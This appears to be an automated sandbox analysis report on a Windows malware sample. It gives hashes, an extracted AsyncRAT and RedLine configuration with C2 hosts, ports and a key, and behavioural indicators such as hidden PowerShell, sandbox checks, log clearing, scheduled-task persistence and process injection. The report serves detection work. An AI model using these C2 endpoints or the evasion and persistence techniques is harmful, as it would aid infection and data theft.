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Analysis
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max time kernel
150s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
05/08/2024, 16:02
Static task
static1
Behavioral task
behavioral1
Sample
59d3bc9ca446bf4fcce3a93cdbce134a.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
59d3bc9ca446bf4fcce3a93cdbce134a.exe
Resource
win10v2004-20240802-en
General
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Target
59d3bc9ca446bf4fcce3a93cdbce134a.exe
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Size
322KB
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MD5
59d3bc9ca446bf4fcce3a93cdbce134a
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SHA1
37120e1b71956b5f3852605db0f33f4565a3952d
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SHA256
1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db
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SHA512
d23ddc6d55d8bf237e68d946f1a330a14907ea2b891ccea0890f63ee0f47f746b6e1d9d2151da1744b36d14b06b428fe308ffd97ae44732f3491682610950b63
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SSDEEP
6144:3RptkRZIFoIkY/7J81GyQUMTa5+suXqWxHNDf1CPyysAosQSPJHdlLTpn:jHoIfjJ80Rl86xHTCPvsASQJHd
Malware Config
Extracted
asyncrat
0.5.8
blue.o7lab.me:7777
server.underground-cheat.xyz:7777
RPYntXGt1eJi
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delay
3
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install
true
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install_file
WinUpdate.exe
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install_folder
%AppData%
Extracted
redline
server.underground-cheat.xyz
server.underground-cheat.xyz:1337
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 2 IoCs
resource yara_rule behavioral2/files/0x00070000000233ae-5046.dat family_redline behavioral2/memory/5136-5081-0x0000000000CE0000-0x0000000000CFE000-memory.dmp family_redline -
SectopRAT payload 2 IoCs
resource yara_rule behavioral2/files/0x00070000000233ae-5046.dat family_sectoprat behavioral2/memory/5136-5081-0x0000000000CE0000-0x0000000000CFE000-memory.dmp family_sectoprat -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 2928 created 616 2928 powershell.EXE 5 PID 3112 created 616 3112 powershell.EXE 5 -
Async RAT payload 1 IoCs
resource yara_rule behavioral2/files/0x000800000002339b-25.dat family_asyncrat -
Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell and hide display window.
pid Process 4984 powershell.exe 3112 powershell.EXE 2928 powershell.EXE 856 powershell.exe 2188 powershell.exe 4296 powershell.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation 59d3bc9ca446bf4fcce3a93cdbce134a.exe Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation $77svchost.exe Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation WinUpdate.exe -
Executes dropped EXE 7 IoCs
pid Process 1548 Install.exe 1940 $77svchost.exe 4920 WinUpdate.exe 1664 oqcfri.exe 5136 vzmqfe.exe 3156 kkskjy.exe 5336 TypeId.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe -
Drops file in System32 directory 12 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\System32\Tasks\WinUpdate svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\ebvyrh svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\WaitHandle\TypeId svchost.exe File opened for modification C:\Windows\System32\Tasks\$77svc64 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 2928 set thread context of 1052 2928 powershell.EXE 89 PID 3112 set thread context of 3900 3112 powershell.EXE 117 PID 5336 set thread context of 5516 5336 TypeId.exe 119 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 16 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Install.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language vzmqfe.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 59d3bc9ca446bf4fcce3a93cdbce134a.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language $77svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WinUpdate.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language kkskjy.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 4640 timeout.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1722873834" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={CF844034-4BDC-43D8-B9DB-CA578B702315}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 05 Aug 2024 16:03:55 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ 59d3bc9ca446bf4fcce3a93cdbce134a.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3492 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2928 powershell.EXE 2928 powershell.EXE 2928 powershell.EXE 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1052 dllhost.exe 1940 $77svchost.exe 1940 $77svchost.exe 1940 $77svchost.exe 1940 $77svchost.exe 1940 $77svchost.exe 1940 $77svchost.exe 1940 $77svchost.exe 1940 $77svchost.exe 1940 $77svchost.exe 1940 $77svchost.exe 1940 $77svchost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2928 powershell.EXE Token: SeDebugPrivilege 2928 powershell.EXE Token: SeDebugPrivilege 1052 dllhost.exe Token: SeDebugPrivilege 1940 $77svchost.exe Token: SeShutdownPrivilege 3396 Explorer.EXE Token: SeCreatePagefilePrivilege 3396 Explorer.EXE Token: SeDebugPrivilege 4920 WinUpdate.exe Token: SeAssignPrimaryTokenPrivilege 2140 svchost.exe Token: SeIncreaseQuotaPrivilege 2140 svchost.exe Token: SeSecurityPrivilege 2140 svchost.exe Token: SeTakeOwnershipPrivilege 2140 svchost.exe Token: SeLoadDriverPrivilege 2140 svchost.exe Token: SeSystemtimePrivilege 2140 svchost.exe Token: SeBackupPrivilege 2140 svchost.exe Token: SeRestorePrivilege 2140 svchost.exe Token: SeShutdownPrivilege 2140 svchost.exe Token: SeSystemEnvironmentPrivilege 2140 svchost.exe Token: SeUndockPrivilege 2140 svchost.exe Token: SeManageVolumePrivilege 2140 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2140 svchost.exe Token: SeIncreaseQuotaPrivilege 2140 svchost.exe Token: SeSecurityPrivilege 2140 svchost.exe Token: SeTakeOwnershipPrivilege 2140 svchost.exe Token: SeLoadDriverPrivilege 2140 svchost.exe Token: SeSystemtimePrivilege 2140 svchost.exe Token: SeBackupPrivilege 2140 svchost.exe Token: SeRestorePrivilege 2140 svchost.exe Token: SeShutdownPrivilege 2140 svchost.exe Token: SeSystemEnvironmentPrivilege 2140 svchost.exe Token: SeUndockPrivilege 2140 svchost.exe Token: SeManageVolumePrivilege 2140 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2140 svchost.exe Token: SeIncreaseQuotaPrivilege 2140 svchost.exe Token: SeSecurityPrivilege 2140 svchost.exe Token: SeTakeOwnershipPrivilege 2140 svchost.exe Token: SeLoadDriverPrivilege 2140 svchost.exe Token: SeSystemtimePrivilege 2140 svchost.exe Token: SeBackupPrivilege 2140 svchost.exe Token: SeRestorePrivilege 2140 svchost.exe Token: SeShutdownPrivilege 2140 svchost.exe Token: SeSystemEnvironmentPrivilege 2140 svchost.exe Token: SeUndockPrivilege 2140 svchost.exe Token: SeManageVolumePrivilege 2140 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2140 svchost.exe Token: SeIncreaseQuotaPrivilege 2140 svchost.exe Token: SeSecurityPrivilege 2140 svchost.exe Token: SeTakeOwnershipPrivilege 2140 svchost.exe Token: SeLoadDriverPrivilege 2140 svchost.exe Token: SeSystemtimePrivilege 2140 svchost.exe Token: SeBackupPrivilege 2140 svchost.exe Token: SeRestorePrivilege 2140 svchost.exe Token: SeShutdownPrivilege 2140 svchost.exe Token: SeSystemEnvironmentPrivilege 2140 svchost.exe Token: SeUndockPrivilege 2140 svchost.exe Token: SeManageVolumePrivilege 2140 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2140 svchost.exe Token: SeIncreaseQuotaPrivilege 2140 svchost.exe Token: SeSecurityPrivilege 2140 svchost.exe Token: SeTakeOwnershipPrivilege 2140 svchost.exe Token: SeLoadDriverPrivilege 2140 svchost.exe Token: SeSystemtimePrivilege 2140 svchost.exe Token: SeBackupPrivilege 2140 svchost.exe Token: SeRestorePrivilege 2140 svchost.exe Token: SeShutdownPrivilege 2140 svchost.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3396 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4712 wrote to memory of 1548 4712 59d3bc9ca446bf4fcce3a93cdbce134a.exe 85 PID 4712 wrote to memory of 1548 4712 59d3bc9ca446bf4fcce3a93cdbce134a.exe 85 PID 4712 wrote to memory of 1548 4712 59d3bc9ca446bf4fcce3a93cdbce134a.exe 85 PID 4712 wrote to memory of 1940 4712 59d3bc9ca446bf4fcce3a93cdbce134a.exe 86 PID 4712 wrote to memory of 1940 4712 59d3bc9ca446bf4fcce3a93cdbce134a.exe 86 PID 4712 wrote to memory of 1940 4712 59d3bc9ca446bf4fcce3a93cdbce134a.exe 86 PID 2928 wrote to memory of 1052 2928 powershell.EXE 89 PID 2928 wrote to memory of 1052 2928 powershell.EXE 89 PID 2928 wrote to memory of 1052 2928 powershell.EXE 89 PID 2928 wrote to memory of 1052 2928 powershell.EXE 89 PID 2928 wrote to memory of 1052 2928 powershell.EXE 89 PID 2928 wrote to memory of 1052 2928 powershell.EXE 89 PID 2928 wrote to memory of 1052 2928 powershell.EXE 89 PID 2928 wrote to memory of 1052 2928 powershell.EXE 89 PID 1052 wrote to memory of 616 1052 dllhost.exe 5 PID 1052 wrote to memory of 668 1052 dllhost.exe 7 PID 1052 wrote to memory of 968 1052 dllhost.exe 12 PID 1052 wrote to memory of 384 1052 dllhost.exe 13 PID 1052 wrote to memory of 756 1052 dllhost.exe 14 PID 1052 wrote to memory of 1040 1052 dllhost.exe 16 PID 1052 wrote to memory of 1148 1052 dllhost.exe 17 PID 1052 wrote to memory of 1160 1052 dllhost.exe 18 PID 1052 wrote to memory of 1184 1052 dllhost.exe 19 PID 1052 wrote to memory of 1196 1052 dllhost.exe 20 PID 1052 wrote to memory of 1276 1052 dllhost.exe 21 PID 1052 wrote to memory of 1320 1052 dllhost.exe 22 PID 1052 wrote to memory of 1352 1052 dllhost.exe 23 PID 1052 wrote to memory of 1440 1052 dllhost.exe 24 PID 1052 wrote to memory of 1456 1052 dllhost.exe 25 PID 1052 wrote to memory of 1580 1052 dllhost.exe 26 PID 1052 wrote to memory of 1592 1052 dllhost.exe 27 PID 1052 wrote to memory of 1676 1052 dllhost.exe 28 PID 1052 wrote to memory of 1692 1052 dllhost.exe 29 PID 1052 wrote to memory of 1740 1052 dllhost.exe 30 PID 1052 wrote to memory of 1780 1052 dllhost.exe 31 PID 1052 wrote to memory of 1816 1052 dllhost.exe 32 PID 1052 wrote to memory of 1912 1052 dllhost.exe 33 PID 1052 wrote to memory of 1924 1052 dllhost.exe 34 PID 1052 wrote to memory of 1948 1052 dllhost.exe 35 PID 1052 wrote to memory of 1252 1052 dllhost.exe 36 PID 1052 wrote to memory of 1736 1052 dllhost.exe 37 PID 1052 wrote to memory of 2140 1052 dllhost.exe 39 PID 1052 wrote to memory of 2212 1052 dllhost.exe 40 PID 1052 wrote to memory of 2228 1052 dllhost.exe 41 PID 1052 wrote to memory of 2432 1052 dllhost.exe 42 PID 1052 wrote to memory of 2440 1052 dllhost.exe 43 PID 1052 wrote to memory of 2616 1052 dllhost.exe 44 PID 1052 wrote to memory of 2632 1052 dllhost.exe 45 PID 1052 wrote to memory of 2720 1052 dllhost.exe 46 PID 1052 wrote to memory of 2740 1052 dllhost.exe 47 PID 1052 wrote to memory of 2760 1052 dllhost.exe 48 PID 1052 wrote to memory of 2792 1052 dllhost.exe 49 PID 1052 wrote to memory of 2804 1052 dllhost.exe 50 PID 1052 wrote to memory of 2948 1052 dllhost.exe 52 PID 1052 wrote to memory of 2900 1052 dllhost.exe 53 PID 1052 wrote to memory of 2972 1052 dllhost.exe 54 PID 1052 wrote to memory of 3340 1052 dllhost.exe 55 PID 1052 wrote to memory of 3396 1052 dllhost.exe 56 PID 1052 wrote to memory of 3536 1052 dllhost.exe 57 PID 1052 wrote to memory of 3724 1052 dllhost.exe 58 PID 1052 wrote to memory of 3892 1052 dllhost.exe 60 PID 1052 wrote to memory of 4088 1052 dllhost.exe 62 PID 1052 wrote to memory of 4776 1052 dllhost.exe 65 PID 1052 wrote to memory of 4380 1052 dllhost.exe 66 -
